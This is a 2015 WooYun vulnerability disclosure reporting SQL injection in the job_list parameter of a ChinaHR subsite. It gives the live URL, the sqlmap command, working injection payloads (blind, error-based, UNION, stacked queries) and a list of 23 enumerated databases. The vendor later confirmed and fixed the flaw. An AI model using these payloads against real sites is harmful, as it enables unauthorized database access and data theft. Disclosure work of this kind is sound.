当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0142595

漏洞标题:中华英才网某站SQL注射(涉及多库)

相关厂商:中华英才网

漏洞作者: 残废

提交时间:2015-09-21 17:05

修复时间:2015-09-29 18:58

公开时间:2015-09-29 18:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-21: 细节已通知厂商并且等待厂商处理中
2015-09-21: 厂商已经确认,细节仅向厂商公开
2015-09-29: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

RT

详细说明:

注册登陆后访问

http://cnnc.chinahr.com/forms/cnncsocial/cv_info.asp?job_list=152714000001


注射参数
job_list

[root@Hacker~]# Sqlmap sqlmap -r "1.txt" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:43:27
[16:43:27] [INFO] parsing HTTP request from '1.txt'
[16:43:27] [WARNING] it appears that you have provided tainted parameter values
(' __utmz=162484963.1442805336.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
') with most probably leftover chars from manual SQL injection tests (;()') or n
on-valid numerical value. Please, always use only valid parameter values so sqlm
ap could be able to properly run
Are you sure you want to continue? [y/N] y
[16:43:29] [INFO] resuming back-end DBMS 'microsoft sql server'
[16:43:29] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: job_list
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: job_list=152714000001) AND 7683=7683 AND (6088=6088
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: job_list=152714000001) AND 3816=CONVERT(INT,(CHAR(58)+CHAR(101)+CHA
R(112)+CHAR(102)+CHAR(58)+(SELECT (CASE WHEN (3816=3816) THEN CHAR(49) ELSE CHAR
(48) END))+CHAR(58)+CHAR(98)+CHAR(111)+CHAR(117)+CHAR(58))) AND (6761=6761
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: job_list=152714000001) UNION ALL SELECT NULL, CHAR(58)+CHAR(101)+CH
AR(112)+CHAR(102)+CHAR(58)+CHAR(65)+CHAR(102)+CHAR(97)+CHAR(78)+CHAR(110)+CHAR(7
5)+CHAR(112)+CHAR(101)+CHAR(81)+CHAR(87)+CHAR(58)+CHAR(98)+CHAR(111)+CHAR(117)+C
HAR(58), NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: job_list=152714000001); WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: job_list=152714000001) WAITFOR DELAY '0:0:5'--
---
[16:43:29] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft SQL Server 2008
[16:43:29] [INFO] fetching database names
available databases [23]:
[*] CampusEvaluation
[*] cnnc09
[*] crms2010
[*] crms2010cominfo
[*] crms2010cominfo_bak2012
[*] crms2010config
[*] DTT08
[*] DTT09
[*] DTT10
[*] DTT11
[*] DTT12
[*] DTT13
[*] DTT14
[*] DTT15
[*] master
[*] model
[*] msdb
[*] rporesume
[*] sitebook
[*] SysAdmin
[*] tempdb
[*] VIPCR
[*] wxcampus
[16:43:29] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[16:43:29] [INFO] fetched data logged to text files under 'D:\pentest\tools\????
\SQLMAP~1\Bin\output\cnnc.chinahr.com'


漏洞证明:

屏幕快照 2015-09-21 下午4.49.11.png

修复方案:

你懂得

版权声明:转载请注明来源 残废@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-09-21 17:42

厂商回复:

谢谢关注,我们会尽快修复!

最新状态:

2015-09-29:漏洞已修复,感谢您的关注。